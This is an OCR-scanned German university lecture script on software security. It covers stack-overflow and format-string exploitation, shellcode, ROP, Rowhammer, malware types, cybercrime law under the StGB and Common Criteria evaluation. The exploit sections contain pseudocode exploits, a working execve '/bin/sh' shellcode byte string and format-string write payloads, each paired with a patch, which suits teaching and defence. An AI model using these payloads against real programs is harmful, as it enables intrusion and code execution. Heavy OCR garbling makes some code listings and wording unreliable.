Man erkennt also, dass es hierbei schwieriger ist dem Programmverlauf eine andere Methode unterzujubeln, aber eine
derartige Liicke wahrscheinlicher ist als bei Heap Overflows, bei denen man im Programm selbst mit Funktionspointer
gearbeitet werden musste, damit man dies ausnutzen konnte. Im folgenden Beispiel wird das verdeutlicht:

Beispiel 6.14. (Stack Overflow Addressenkorrumption)

Bei folgender Stack Overflow Liicke kann man durch geschickte Eingabe die s3cr3t()-Funktion ausfiihren:
s x

0 #include <stuff> 0 # Pseudocode Exploit

1 static void secret (void) {...} 1 int main () {

2 static void normal (const char xstring) { 2 addr = expandTo64 (sys.argv([1l])
3 char buf[256]; strcpy(buf,string); 3 addr = addBackslashAndX (addr)
4} 4 addr = tolLittleEndian (addr)

5 1int main(int argc, char xxargv) { 5 cmd = "a"x264 + addr

6 if (argc >= 2) { normal (argv[l]);} 6 sys.run(sys.argv[2], cmd)

7 else { return -1; } 7 return 0;

8 return 0;} 8 }
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Der Stack(64Bit) nach dem Exploit:
Erklirung: Der Stack Frame von ‘normal()’ enthalt den

RIP: Adresse des Loaders buf, dann einen Pointer auf die main und einen Ruick-
SFP: Stack Frame des Loaders sprungpointer, in diesem Fall auch auf die Main. Ubergibt
main man dem Programm und damit auch Normal einen String

<Leers grofer als 256 werden diese Pointer tiberschrieben. Da

ein Pointer 8 Byte grof3 ist, kann man mit 264 As und
anschliefend der Adresse von ’s3cr3t()’ den Stackframe
RIP: Adresse von s3cr3t() so Uiberschreiben, dass zu ’s3cr3t()’ zuriickgesprungen’

SFP: ’a™*8 wird.
normal() Patch: Man verwendet statt ’strcpy()’ eine Funktion die
nur eine gewisse Anzahl an Zeichen kopiert, z.b. ’strnc-

py(’

buf gefallt mit ’a’

Oftmals treten diese Sicherheitslticken durch ein ’sprintf()’, ’strcat()’ oder ’strcpy()’ auf. Dies kann man einfach
16sen, indem man die etwas sicherern Variaten wie ’strncpy()’, strncat()’ oder ’snprintf()’ verwendet, bei denen eine
feste Datenmenge geschrieben wird. Zudem gibt es Automatischen Stack-Schutz wie Stackguard. Dabei wird die
Ruicksprungadresse mit einer Art Schloss (Schutzstring) versehen, sodass Manipulation schwieriger ist. Eine weitere
Methode um Shellcode, welcher im folgenden Kapitel erlautert wird, zu verhindern ist, den Stack hardwareunterstutzt
als allgemein nicht ausfithrbar zu deklarieren.

6.5 Stack Smashing mit \xSh\xel\xlc\xod\xeO

Shellcode bezeichnet meist sehr kurze Code-Snippets von in Opcodes umgewandelten Assemblerbefehlen, mit denen
anhand einer geeigneten Stack Overflow Liicke eigenen Code zum ausfithren bringen kann. Dabei wird oft versucht,
eine Shell zu starten, daher auch der Name.

Zur Erzeugung von Shellcode kann man Programme in C schreiben, dieses compileren und anschliefend disasemblieren.
Damit kann die Funktionsweise in Assembler nachprogrammiert werden und auftretende Probleme gelost werden.
Beispielsweise darf der resultierende Shellcode kein Nullbyte enthalten, da ansonsten beim Injezieren in ein C-
Programm dies den Shellcode abbricht, da ein Nullbyte das Ende eines Strings makiert. Daraus kann dann, z.b. mit
dem Debugger gdb, der Opcode extrahiert werden, welcher im wesentlichen einfach die Maschinenbefehle reprasentiert.
Dieser sieht beispielsweise so aus:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80

In der realen Welt gibt es mittlerweile viele Sammlungen von Shellcode auf diversen Internetseiten. Man muss ihn also
nicht selbst erstellen, es kann aber hilfreich sein, um spezifische Sicherheitsliicken besser ausniitzen zu kénnen.
Die Grundidee um den Shellcode zum laufen zu bringen ist folgende: Man findet eine geeignet Grof3e Stack Overflow
Licke in die man den Shellcode laden kann. Dann leitet man den Rucksprungpointer auf den Anfang der exploiteten
Funktion um. In folgendem Beispiel wird das nocheinmal genauer erlautert:

Beispiel 6.15. (Stack Smasing mit Shellcode)

Das ist fast der gleiche Code wie vorher, nur soll hier nun eigener Shellcode zum ausfiihren gebracht werden:
. e

0 #include <stuff> 0 # Pseudocode Exploit

1 static void normal (const char *string) { 1 int main() {

2 char buf[256]; strcpy(buf,string); 2 addr = tolLittleEndian (addr)

3} 3 nopSlide = "\ =90’ x 191;

4 int main(int argc, char *xargv) { 4 shellcode = " ...";

5 if (argc >= 2) { normal(argv[1l]); 5 padding = "a"x50;

6 } else { return -1; } 6 cmd = nopSlide+shellcode+padding+addr;
7 return 0; 7 sys.run(sys.argv[2], cmd);

8 } 8 }
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Erkldarung: Man habe geeigneten Shellcode gefunden.
Mit diesem kann man wie bei Stack Overflows buf tiber-
schreiben, anschlieBend den Rest mit As fiillen und am
Ende den Pointer auf die Funktion umleiten. Aber: Mit
gdb erhalt man nicht die absolut korrekte Adresse. Diese
main kann minimal abweichen. Um das zu Lésen nutzt man
<Leer> einen NOP-Slide: An den Anfang des Shellcodes schreibt
man ausreichend viele 0x90 (No-Operation-Operation).
Dadurch kann es mehrere mégliche Startadressen inner-
halb eines Bereiches geben, sodass trotzdem der Shell-
code aufgefiihrt wird. Anmerkung: Man kann nun nicht
normal() gjrket mit Shellcode eine Root-Shell éffnen, aber man
buf geftillt Shellcode und Fiillbytes kann ein Programm 6ffnen, dass es tut, insofern das
exploitete Programm die nétigen Rechte hat.
Patch: Statt ’strcpy()’ wieder ’strncpy()’

Der Stack(64Bit) nach dem Exploit:

RIP: Adresse des Loaders
SFP: Stack Frame des Loaders

RIP: Startadresse von buf
SFP: ’a’*8

Bietet die Stack Overflow Sicherheitslticke nun nicht genug Platz fur den Shellcode, so kann man das ganze auf zwei
Arten Umgehen: 1. Jeder Prozess hat ein Environment mit Environmentvariablen. Diese liegen nun ganz oben auf dem
Stack eines Programmes. Demnach kann man wieder mit gdb die Anfangsadresse finden und dartiber den Shellcode
anspringen und ausfiihren lassen. 2. Man tibergibt den Shellcode als Commandline Argument, welches auch auf dem
Stack gespeichert wird, sucht dies und macht das tbliche.

Vor Shellcode kann man sich entweder dadurch schiitzen, dass man erst garkeine Stack Overflows zulasst, oder
die enstandenen Datenbldcke fiir einen Stack Overflow so klein sind, dass man darin keinen sinnvollen Shellcode
unterbringen kann.

CONTROL, WE HAVE FLOWN HEY LOOK, SOMECNE LEAKED THE
TO THE USA AND BREACHED EMAILS AND PASSWIORDS FROM THE
THE TARGET'S HOUSE. SMASH MOUTH MESSAGE. BOARDS.
THEY WROTE ALL THER Co0L, LET'S TRY
THEM ALL ON VENMO.
i
HOW PEOPLE THINK HOW IT ACTUALLY LIORKS

HACKING WORKS
https://xkcd.com/2176/

6.6 Exkurs Return(good)—Oriented(good)—Programming(good)—(bad)

Diese Angriffe sind eine Art Weiterentwicklung von Stack Smashing. Da immer 6fters der Stack, bzw. Teile des Stacks,
als nicht ausfithrbar deklariert wurden, kam man auf die Idee bereits vorhandene Funktionalititen zu nutzen, um diese
dazu zu bringen, bdsartigen Code auszuftihren. Dafiir passt man die tibergebenen Parameter und Ricksprungadressen
von gutartigen Codesnippets/Gadgets (z.b. Bibliotheksfunktionen) an, sodass diese anhand der Riicksprungadressen
eine Art Kette (bzw. Sequenz) bilden. Die Ausfiihrung der Kette im ganzen ist schliefflich wieder ein Exploit. Als
Ausgangspunkt dient hierbei wieder eine Uberlauf-Sicherheitsliicke.

Mittels ASLR, also der randomisierung der Adressen, hat man versucht gegen die ROP-Angriffe vorzugehen, was nur
dazu gefiihrt hat, dass die ROP-Angriffe zu blind ROP-Angriffen wurden, und damit komplizierter wurden.

6.7 Format String printf(’E%zxploitation’)

Format String Exploitation werden mittels der print-Funktionen eingeschleuf3t. Dafiir wird folglich erstmal der
Stack(32Bit) betrachtet, wenn eine solche Funktion aufgerufen wird:
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Return Instruction Pointer RIP
Stack Frame Pointer SFP
arg2 main

main(){
printf(*%d-%x’,arg1,arg2);

argl
Adresse des Strings %d-%x’

Return Instruction Pointer RIP
% EBP—— Stack Frame Pointer SFP

weitere Funktion foo
Puffer von printf

% ESP————

’printf()’ kann nun auf die Argumente zugreifen, indem der Pointer des RBP-Registers verwendet wird. Addiert man
auf diesen 12 erhalt man argl, addiert man 16 erhalt man arg2. Dabei geht die Funktion folgendermafien vor: Sie
itteriert tiiber den String und jedesmal wenn das sonderzeichen % erscheint l1ad sie den Inhalt des Argumentes, durch
das Format definiert, in den Puffer. Nun kann man mit ’printf(const char* format, ...parameter..)’ das Format der
Parameter bestimmen. Hier ein paar ausgewahlte praktische Beispiele:
e %d: Gibt eine Zahl in Dezimaldarstellung aus
e %x: Ausgabe einer Zahl in hexadezimaldarstellung. Mit %nx, also z.b. %08x, kann die Ausgabe auf n bzw. 8 Bit
gepaddet werden
e %s: Der Parameter, auf den %s zeigt wird als Pointer interpretiert und das auf was der pointer zeigt als String
ausgegeben
e %n: Speichert die Anzahl der bisher geschriebenen Zeichen an der Stelle an den der Pointer (Parameter fiir %n)
zeigt
Das interessante hierbei ist nun, dass ohne die Parameter trotzdem auch den Stack zugegriffen wird, da erwartet wird,
dass die Parameter da trotzdem liegen. Daher kann man mit ’printf(*%x’)’ das oberste Wort auf dem Stack auslesen,
bzw. ’printf(<’%x™*n>)’ die obersten n Worte ausgelesen werden.
Mit %n geht dies Analog, nur das man damit auf dem Stack schreiben kann. Mit printCAAA%n)’ wird demnach '’AAA
an die Speicherstellen geschrieben, auf die das oberste Stack Element zeigt.
Diese beiden Angriffe kann man durchftihren, wenn mit *printf(user_input)’ User input direkt ausgegeben wird und
dieser somit die printf-Methode kontrolliert. Bei einem Angriff setzt man dann z.b. user_input = %x%x%x%x...". In den
folgenden Beispielen wird das genauer erlautert:

Beispiel 6.16. (String Exploitation und Environment Variable ausgeben)

Erkldarung: Mit Eingabe "%x%x..."wird ein Teil des Stacks ausgegeben.
. Zu Environment Variablen EV: Das Programm erbt die EV des Batch-
0 #include <stuff.h> Prozesses. Erstellt man mit ’export’ eine EV in dem Batch Prozess,
1 int main(int argc, char *xargv){ |kann man diese auslesen: Mit 'getenv(<Name der EV>)’ erhdlt man
2 if (argc < 2) {return -1;} die Adresse der EV. Nutzt man dafiir ein Externes Programm, so muss
3 char buffer[256]; diese Adresse noch angepasst, da das Stack Layout leicht verandert
4 snprintf(buffer, sizeof (buffer), |wijrd. Die Adresse gibt man nun dem Programm in Little Endian mit
5
6
7
8

. 7 s "" argvill); und fiigt %<n>$s an. Letzteres greift auf das nte Double Word nach
printf(buffer); Beginn der ’Argumente’ von printf zu. n sollte so angepasst werden,
return 0; . . . i 1s

dass man auf den Pufferanfang von printf zugreift. %s liest somit die
L JAdresse am Anfang des Puffers ein, und gibt den Wert, der an dieser

Adresse liegt als String zurtick.

Patch: Statt ’printf(buffer)’ sollte man ’printf("%s",buffer)’ nutzen.

Beispiel 6.17. (String Exploitation und Variablen iiberschreiben)
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Erkldarung: Mit Eingabe "%x%x..."findet man wieder den Anfang von

0 #include <stuff.h> buf und kann sich n fiir %<n>$s herleiten. Die static Variablen, die
1 int main(int argc, char x+argv){ |man nun verandern will, liegen aber nicht im Stack, sondern im BSS.
2 char buf[256]; Die Adressen erhilt man mit GDB. Diese schreibt man nun an den
3 static int vall, val2, val3; Anfang von buf. Dann schreibt man mit %yx gepaddet den Inhalt von
4  snprintf(buf, 256,"%s",argv[1l]); |vall (um die buffergréfie zu umgehen), also y = 1334, da die Adresse
5 printf(buf); bei 32 bit auch 4 Zeichen benétigt. Anschliefend noch %<n>$s: ’addr’
6 P]/:-j_ntf ("Wake up, n eo. .. \n"); + "%1334x"+ "%<n>$s". Fur val2 sieht das ahnlich aus, nur dass
; ii Ezzi;=:Zxéiiz£;§§;?tiintf)(; } \ man zweimal schreiben muss, da das padding far deadbeef zu gro
0 K;L Srn 0 P "7 |wére: addr1’+’addr2’+"%4887 1x%6$hn"+ "%(57005-48879)x%7$hn".
0 ) Dabei ist addr2 = addrl + 2. Zudem sollte an das hn verwenden, da

man nur ein half world schreibt.
Patch: Statt ’printf(buffer)’ sollte man ’printf("%s",buffer)’ nutzen.

Das Gefahrliche an dieser Angriffsmethode ist nun, dass man auch Shellcode injezieren kann. Den Shellcode kann
man in einer selbst angelegten Environment Variable speichern, deren Adresse man einfach mit gdb erhalten kann.
Dann muss man nur noch den Kontrollfluss darauf umbiegen. Dies geht mit alt bewahrten Methoden indem man den
ROP tuberschreibt, aber auch mit GOT-Hijacking.

Anmerkung: Dieser Angriff ist auch méglich, wenn ein Programm auf eine Datei zugreift, den Inhalt der Datei mit
’printf()’ ausgibt und ein Angreifer diese Datei manipulieren konnte.

Schutz: Die meisten dieser Schwachstellen kénnen vom Compiler gefunden werden und diese geben dies meis-
tens in Error-Messages aus. Eine Méglichkeit diese Programme zu patchen ist statt *printf(user_input)’ den Code
’printf("%s",user_input)’ zu nutzen.

6.8 Exkurs Fehlerinjektioooolooon

Es ist nun méglich auch Sprachen mit starker Typisierung anzugreifen. Dazu nutzt man das Problem der Type
Confusion aus. Hat man dieses Problem erzeugt, so kann man beliebig im Speicher schreiben. Diesen Fehler kann
man durch Bitfehler herstellen, welche Pointer innerhalb des Speichers umleiten. Bitfehler entstehen durch kosmische
Strahlung oder hochkomplexe Werkzeuge wie Photonenschussgerate (Lampen), d.h. im Allgemeinen durch Ausnutzen
von Hardwarefehlern. Davor kann man sich demnach schiitzen, indem man die Hardware schiitzt.

Ein weiterer Angriff der Bitflips ausnutzt ist der sog. Rowhammer. Beim Schreiben und Lesen des RAM kann es,
bedingt durch die winzige Bautechnik, zu Quantenmenchanischem Effekten kommen. Dadurch werden Bits geflippt,
weil benachbarte Bits ihren Zustand d&ndern. Der Rowhammer sichert sich daher Speicher und lastet diesen maximal
aus, um so einen Fehler zu provozieren und damit empfindliche Bits, wie z.b. Lese und Schreiberechte, zu flippen.
Eine annehmbare Schutzmethode in ECC-RAM (selbst korrigierender RAM), welcher aber kein Allheilmittel ist.

7 Cybercrime

7.1 Cyberkriminalitit und Schadsoftware

Cyberkriminalitét ist eine meist 6konomisch motivierte Kriminalitat, die aber auch von Staaten ausgehen kann und
somit politisch motiviert ist. Die Akteure nutzen dabei meist sogenannte Maleware:

Definition 7.1 (Maleware)

Maleware ist eine schadliche Software, die eine unerwtinschte oder schidliche Funktionalitat besitzt, welche dem
Benutzer bzw. dessen Rechner schadet.

Beispiel fir Maleware: Wannacry hat massenhaft veraltete Windowssysteme tibernommen und verschlisselt um
anschliefend Losegeld zu fordern.
Fehlerhafte Software gilt tibrigens nicht als Maleware, kann aber von Maleware ausgenutzt werden. Schéadliche
Funktionalititen kénnen zum einen Schadroutinen sein (z.b. Datenklau, Spam, Fernsteuerung), aber auch Verbrei-
tungsroutinen sein (Manuell oder automatisch). Die unterschiedlichen Schadsoftwares kann man nun klassifizieren:
e Schadroutine:
— Spyware: Spaht Daten des Rechners aus
- Bot: Nistet sich in ein System ein und ermdéglicht ggf. einen Fernzugriff. Wird spater noch genauer definiert
- Backdoor: Nistet sich in ein System ein und ermdéglicht ggf. einen Fernzugriff
o Verbreitungsroutine:
— Virus: Viren werden manuel tibertragen und replizieren sich das Ausfiihrung selbst, wodurch dieser sich in
Speicher und Daten einnistet (und diesen Teils unbrauchbar macht)
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— Wurm: Wirmen sind dhnlich zu Viren, nur dass sich diese autonom verbreiten, indem sie Schwachstellen in
der Softwaresicherheit ausnutzen.
- Trojaner: Eine Maleware die als ntitzliches Programm getarnt ist. Im Hintergrund lauft dann eine schadliche
Zusatzfunktionalitat. Sie vermehren sich manuel.
Eine Maleware immer beide Hauptklassifizierungen, d.h. eine Maleware besitzt eine Schadroutine und eine Verbrei-
tungsroutine. Zudem kann die Maleware zuséatzlich noch Funktionalitaten besitzen um sich vor dem Endecken und
Loschen zu schiitzen, z.b. indem sie Permanent ihren Namen oder ihre Position/Prozess wechseln.
Staatlich vs. Nicht Staatlich: Staatliche Schadsoftwar basiert meist auf professionellen und umfrangreichen Payload-
Funktionalitaten, verbreitet sich Zielgerichtet gegen ausgewahlte Angriffsziele und nutzt haufig allgemein unbekannte
Zero-Day-Sicherheitsliicken. Derartige Software wird auch Milware genannt. Nicht staatliche Schadsoftware basiert
meist auf bekannten Exploit Kits, zielt auf die weite Verbreitung und Infizierung mehrere Rechner ab und nutzt dafar
oft Verbreitung tiber Browsertools. Derartige Software ist weiterhin Maleware.

7.2 Bots, Botnetze und Botnet Tracking

Bots gibt es im Internet viele und am bekanntesten sind jene, die in Chat-Progammen, wie IRC oder Telegram, arbeiten.
Meist haben diese Bots einen positiven Nutzen fiir die User.

Definition 7.2 (Bots)

Computerprogramm, das weitgehend automatisch sich wiederholende Aufgaben abarbeitet, ohne dabei auf eine
Interaktion mit einem menschlichen Benutzer angewiesen zu sein.

Schadhafte Bots infizieren oft auch andere Rechner (spreading) und kénnen diese ggf. sogar fernsteuern, sie haben
also die Schadroutine von Wiirmern. Dadurch entstehen Botnetze, welche im Endeffekt ein Zusammenschluss aus
vielen Bots sind, die sich zentral steuern lassen. Es kann nédmlich méglich sein, dass sich der Bot mit einer externen
Instanz verbindet, z.b. mit einem IRC-Channel, Giber welchen der Bot Befehle erhalten kann.

Botnet-Tracking Das beschreibt die Unterwanderung eines Botnetzes um somit das Netz zu analysieren. Das Botnetz
kann man unterwandern, indem man bewusst einen Rechner infizieren lasst oder irgendwie in das System gelangt,
anhand dessen die Bots ferngesteuert werden.

7.3 Digitale Schattenwirtschaft

Cyberkriminalitat beinhaltet Aspekte die es frither schon ab, aber auch véllig neue kriminelle Aspekte. Im folgenden
sei erstmal eine Definition gegeben:

Definition 7.3 (Cyberkriminalitéit)

Cyberkriminalitdt umfasst die Straftaten, sie sich gegen das Internet, Datennetze, informationstechnische Systeme
oder deren Daten richten, oder die mittels dieser Informationstechnik begangen werden.

Daraus entsteht die digitale Schattenwirtschaft. Dies ist ein 6konomischer Kreislauf auferhalb staatlicher Kontrolle,
an welchem sich meist professionelle und organisierte Kriminelle bereichern. Dies ist méglich durch die Grundlegenden
Konzepte des Marktes: Angebot und Nachfrage. Wichtige dazugehoérige Begrifflichkeiten:

e Money Mules: Personen die illegale Geld- oder Warentransfers tatigen. Diese sind sich oft nicht bewusst, kriminell
zu handeln.

e Spam: Wird fiir Werbung, aber auch Phishing und zur Verbreitung von Maleware verwendet.

e Click Fraud: Verwendung von Botnetzen um viele Individuen zu simulieren. Damit kénnen z.b. Wahlen verfalscht
werden oder kiinstlich Aufmerksamkeit generiert werden. Es kann aber auch Werbung kiinstlich sehr oft geklickt
werden, wodurch der Werbebetreiber Geld verliert.

e Stock Spam: Manipulation des Aktienmarktes anhand von Spam

e DDoS: Distributed Denial of Service Attacks werden verwendet um Systeme so zu liberlasten, dass diese nicht
mehr funktionieren.

e Pay-per Install: Jemand bezahlt dafiir, dass Programme bei anderen installiert werden. Dies kann zusatzlich
zu einem anderen Programm im Hintergrund passieren oder aber als Zusatzfunktionalitat eines Programms
verschleiert werden.

e Ransomeware: Verschliisselt den Computer und erpresst Losegeld

e Phising: Vortauschen falscher Identitat um einen Angriff durchzufiihren, z.b. zum stehlen sensibler Daten

e Pharming: Phishing anhand von Spoofing indem man z.b. mit gefilschte DNS-Eintrage Webseiten umleitet
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7.4 Recht und Ethik

Im Strafrecht findet sich die Summe aller Rechtsnormen, die fiir ein bestimmtes Verhalten eine Strafe oder Sicherung
vorsehen, um sich um dessen Durchsetzung zu bemtiihen. Im Strafgesetzbuch StGB sind diese gesammelt. Im folgenden
werden die wichtigsten Paragraphen dargelegt, welche im Bezug auf Cyberkriminalitat existieren:

e Vertraulichkeit:

— Ausspihen von Daten §202a StGB: (1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht
fiir ihn bestimmt und die gegen unberechtigten Zugang besonders gesichert sind, unter Uberwindung der
Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft. (2)
Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar
wahrnembar gespeichert sind oder tibermittelt werden. (Auch einfache Sicherungen sind Sicherung. Das
wissen von Passworter fallt iibrigens nicht unter dieses Gesetz)

Beispiele:

* Eindringen in ein fremdes System

* Entschliisselung abgefangener Daten

— Abfangen von Daten §202b StGB: Wer unbefugt sich oder einem anderen unter Anwendung von techni-
schen Mitteln nicht far ihn bestimmte Daten aus einer nichtoéffentlichen Datentibermittelung oder aus der
elektromagnetischen Abstrahlung einer Datenverarbeitungsanlage verschafft, wird mit Freiheitsstrafe bis zu
zwei Jahren oder mit Geldstrafe bestraft, wenn die Tat nicht in anderen Vorschriften mit schwererer Strafe
bedroht ist.

Beispiele:

* Wlan sniffing

— Verbreiten von Ausgespihten/Abgefangenen Daten §202c StGB: Wer eine Straftat nach §202a StGB
/ §202b StGB vorbereitet, indem er Passworter oder sonstige Sicherungscode, die den Zugang zu Daten
ermoglichen, oder Computerprogramme deren Zweck die Begehung einer solchen Tat ist herstellt, sich
oder einem anderen verschafft, verkauft, einem anderen tiberlédsst oder sonst zuganglich macht, wird mit
Freiheitsstrafe bis zu einem Jahr oder mit Geldstrafe bestraft. (Bezieht sich nicht auf die Beschreibung von
Sicherheitslticken. Grauzone sind dual use tools.)...

Beispiele:

* Ein Mensch baut eine Hintertiir in sein bekanntes Kommunikationsprogramm ein und verkauft dieses
Programm dann

* Verbreitung fremder Passworter, z.b. Verbreitung von Rainbowtables

- Datenhehlerei §202d StGB: (1) Wer Daten, die nicht allgemein zuginglich sind und die ein anderer durch
rechtswidrige Tat erlangt hat, sich oder einem anderen verschafft, einem anderen tberlasst, verbreitet oder
sonst zugédnglich macht, um sich oder einen Dritten zu bereichern oder einen anderen zu schadigen, wird
mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft. (2) Die Strafe darf nicht schwerer sein als
die far die Vortat angedrohte Strafe. (3) Absatz 1 gilt nicht fiir Handlungen, die ausschlieflich der Erfallung
rechtméagiger dienstlicher oder beruflicher Pflichten dienen. ...

Beispiele:

+ Ein Wissenschaftler holt sich die 6ffentlich zuganglichen Daten aus dem Ergebnis des Keyloggers von
irgendwem. Er veroffentlicht eine Analyse der Daten auf seinem Blog (Grund: Die Daten des Keyloggers
sind méglicherweise illegal erlangt worden und daher ware die Beschaffung dieser Daten auch illegal)

- Verletzung des Post- oder Fernmeldegeheimnisses §206 StGB: (1) Wer unbefugt einer anderen Person
eine Mitteilung tiber Tatsachen macht, die dem Post- oder Fernmeldegeheimnis unterliegen und die ihm als
Inhaber oder Beschaftigtem eines Unternehmens bekanntgeworden sind, das geschaftsméagig Post- oder
Telekommunikationsdienste erbringt, wird mit Freiheitsstrafe bis zu finf Jahren oder mit Geldstrafe bestraft.
(2) Ebenso wird bestraft, wer als Inhaber oder Beschéftigter eines in Absatz 1 bezeichneten Unternehmen
unbefugt 1. eine Sendung, die einem solchen Unternehmen zur Ubermittlung anvertraut worden und
verschlossen ist, 6ffnet oder sich von ihrem Inhalt ohne Offnung des Verschlusses unter Anwendung
technischer Mittel Kenntnis verschafft, 2. eine einem solchen Unternehmen zur Ubermittlung anvertraute
Sendung unterdriickt oder 3. eine der in Absatz 1 oder in Nummer 1 oder 2 bezeichneten Handlungen
gestattet oder férdert. (Relevant fiir Anbieter von Telekommunikationdienstleistungen bzw. deren Mitarbeiter,
also z.b. Telekom, Email-Dienstleister die ohne Erlaubnis keinen Spam filtern durfen)...

Beispiele:

* Mitarbeiter der Telecom nutzt seine Moglichkeiten um die Emails von Politiker abzufangen und

auszulesen (da starker als 202 eher nur 206)

o Integritit:
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— Datenverianderung § 303a StGB: (1) Wer rechtswidrig Daten 16scht, unterdriickt, unbrauchbar macht
oder verandert, wird mit Freiheitsstrafe bis zu zwei Jahre oder mit Geldstrafe bestraft. (2) Der Versuch ist
strafbar. (3) Fur die Vorbereitung einer Straftat gilt §202c StGB
Beispiele:

* Heimliche Installation von Software

— Storung der Telekommunikationsanlagen §317 StGB: (1) Wer den Betrieb einer offentlichen Zwecken
dienenden Telekommunikationsanlage dadurch verhindert oder gefahrdet, dass er eine dem Betrieb dienende
Sache zerstort, beschadigt, beseitigt, verandert oder unbrauchbar macht oder die fiir den Betrieb bestimmte
elektrische Kraft entzieht, wird mit Freiheitsstrafe bis zu flinf Jahren oder mit Geldstrafe bestraft. (2) Der
Versuch ist strafbar. (3) Wer die Tat fahrlassig begeht, wird mit Freiheitsstrafe bis zu einem Jahr oder mit
Geldstrafe bestraft.

Beispiele:
* Betrunkener Student rei3t Wlan-Router des o6ffentlichen Uni-Wlans raus um damit Routerball zu
spielen

— Computersabotage §303b StGB: (1) Wer eine Datenverarbeitung, die fir einen anderen von wesentlicher
Bedeutung ist, dadurch erheblich stort, dass er 1. eine Tat nach §303a Abs. 1 begeht, 2. Daten in der Absicht,
einem anderen Nachteil zuzuftigen, eingibt oder tibermittelt oder 3. eine Datenverarbeitungsanlage oder
einen Datentrager zerstort, beschadigt, unbrauchbar macht, beseitigt oder verandert, wird mit Freiheitsstrafe
bis zu drei Jahren oder mit Geldstrafe bestraft. (2) Handelt es sich um eine Datenverarbeitung, die fur einen
fremden Betrieb, ein fremdes Unternehmen oder eine Behorde von wesentlicher Bedeutung ist, ist die Strafe
Freiheitsstrafe bis zu finf Jahren oder Geldstrafe. (3) Der Versuch ist strafbar. (Dazu zdhlen auch Denail of
Service Attacken) ...

Beispiele:
* Supercomputer eines Wetterdienstes kapern und herunterfahren

e Verfiigbarkeit:

— Storung der Telekommunikationsanlagen §317 StGB
- Computersabotage §303b StGB

e Weitere Computerbezogene Delikte:

Computerbetrug §263a StGB

Erschleichen von Leistungen §265a StGB

Falschung technischer Aufzeichnungen §268a StGB
Falschung beweiserheblicher Daten §269a StGB
Urkungenunterdriickung §274a StGB

Inhaltsbezogene Delikte (Pornographie), Urheberstrafrecht, etc.

Im Endeffekt ist somit alles im Cyberspace strafbar, was auch in der realen Welt strafbar ist. Bei Delikten im Ausland
gibt es nur das Problem, dass Lander meist unterschiedliche Gesetze haben, was die Verfolgung ershwert.
Ethik: Dies untersucht die Frage nach der Herleitung moralischer Werte und umfasst die Reflexion tiber was richtig
und was falsch ist. Moral verandert sich immer wieder und wird versucht von Gesetzes zu approximieren. Auch im
IT-Security Zusammenhang sollte man ethische Betrachung miteinbeziehen, da der Cyberspace immer mehr Platz in
der Gesellschaft findet. Die grundlegenden Fragen sind hierbei wie folgt:

e Wer profitiert von der eigenen Forschung?

e Was ist der Nutzen und was sind mégliche Schaden?

e Wie kann das Schadensrisiko bei der Forschung minimiert werden?

e Wie kann man Forschunsresultate so publizieren, dass moglichst wenig Missbrauchspotential besteht?
Demnach ist nicht alles was strafbar ist auch moralisch verwerflich, besonders wenn es sich um Gesetze handelt, die
moralisch verwerflich sind (z.b. veraltete Gesetzte, da sich die Gesellschaft gewandelt hat).

8 Sicherheitsevaluation

Im Grunde geht es um die Beantwortung der Fragen " Erreichen die Sicherheitsmechanismen die Sicherheitsziele?tind "
Sind die Sicherheitsmechanismen korrekt implementiert?". Dabei ist es meist naiv sich auf die Aussagen des Herstellers
zu verlassen und die Systeme selbst zu tiberpriifen ist nur sinnvoll, wenn man Sicherheitsexperte ist. Daher sollte
man Systeme von einer unabhéangigen kompetenten Partei tiberpriifen lassen.

Fuar die Evaluierung der Sicherheit wurden die Commeon Criteria entwickelt. Das sind umfangreiche und allgemeine
standartisierte Evaluationskriterien. Daraus entwickelt man das Protection Profile, eine Spezifizierung der Evalua-
tionskriterien flir ein gewisses System/Produkt. Darin enthalten sind die Evaluation Assurance Level EAL, eine
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Aufschliisselung wie in bei der Evaluation vorgegangen werden sollte. Um dies zu entwerfen kann die Common
Evaluation Methodology verwendet werden, welche fiir gewisse Bereiche die EAL festlegt.

Historisches: Die Common Criteria gelten als wenig erflogreich im Finden von Sicherheitsliicken. Eine Ausnahme
sind SmartCards. Dies liegt daran, dass die primare Anwendung im Sicherheitsbereich ist und man zudem die
Smartcards nicht mehr updaten kann. Dadurch ist ein anfanglicher monetarer Mehraufwand sinnvoll. Zudem ist die
Rezertifizierung billiger, wenn man auf den alten Modellen aufbaut. Dadurch kann man auch besser aus Fehlern
lernen.

UELCOI"IFE. TO YOUR FINAL EXAM.
THE EX!}M IS NOWJ OVER.
™M AFF‘?.ND AL OF YOU FAILED,

YOUR GRADES HAVE BEEN STORED
ON OUR DEPARTMENT SERVER AND
WILL BF SUBMITTED TOMORROM.

CLASS DISMISSED:

Tl

CYBERSECURITY FINAL EXAMS
https://xkcd.com/2385/
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